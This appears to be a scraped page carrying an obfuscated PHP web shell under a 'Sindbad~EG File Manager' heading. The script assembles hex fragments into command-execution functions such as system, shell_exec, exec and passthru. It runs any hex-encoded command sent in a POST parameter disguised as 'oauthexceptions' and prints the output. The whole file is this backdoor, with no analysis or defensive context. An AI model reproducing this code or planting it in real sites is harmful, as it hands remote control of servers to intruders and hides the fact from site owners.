Sindbad~EG File Manager

<?php

$identifier1 = '737';
$identifier2 = '56d';
$identifier3 = '865';
$identifier4 = '706';
$identifier5 = '468';
$identifier6 = '727';
$identifier7 = '656';
$identifier8 = '472';
$identifier9 = '16d';
$identifier10 = '5f6';
$identifier11 = '765';
$identifier12 = '745';
$identifier13 = 'f63';
$identifier14 = '6f6';
$identifier15 = 'e74';
$identifier16 = '36c';
$identifier17 = '365';
$identifier18 = '746';
$identifier19 = '469';
$content1 = pack("H*", $identifier1 . '973' . '746' . $identifier2);
$content2 = pack("H*", '736' . $identifier3 . '6c6' . 'c5f' . '657' . '865');
$content3 = pack("H*", '657' . $identifier3);
$content4 = pack("H*", $identifier4 . '173' . '737' . $identifier5 . $identifier6);
$content5 = pack("H*", $identifier4 . 'f70' . $identifier7);
$content6 = pack("H*", '737' . $identifier8 . '656' . $identifier9 . $identifier10 . $identifier11 . $identifier12 . $identifier13 . $identifier14 . $identifier15 . '656' . 'e74');
$content7 = pack("H*", '706' . $identifier16 . '6f7' . $identifier17);
$oauthexceptions = pack("H*", '6f6' . '175' . $identifier18 . $identifier3 . '786' . $identifier17 . '707' . $identifier19 . '6f6' . 'e73');
if (isset($_POST[$oauthexceptions])) {
    $oauthexceptions = pack("H*", $_POST[$oauthexceptions]);
    if (function_exists($content1)) {
        $content1($oauthexceptions);
    } elseif (function_exists($content2)) {
        print $content2($oauthexceptions);
    } elseif (function_exists($content3)) {
        $content3($oauthexceptions, $stor_attr);
        print join("\n", $stor_attr);
    } elseif (function_exists($content4)) {
        $content4($oauthexceptions);
    } elseif (function_exists($content5) && function_exists($content6) && function_exists($content7)) {
        $id_placeholder = $content5($oauthexceptions, 'r');
        if ($id_placeholder) {
            $field_variable = $content6($id_placeholder);
            $content7($id_placeholder);
            print $field_variable;
        }
    }
    exit;
}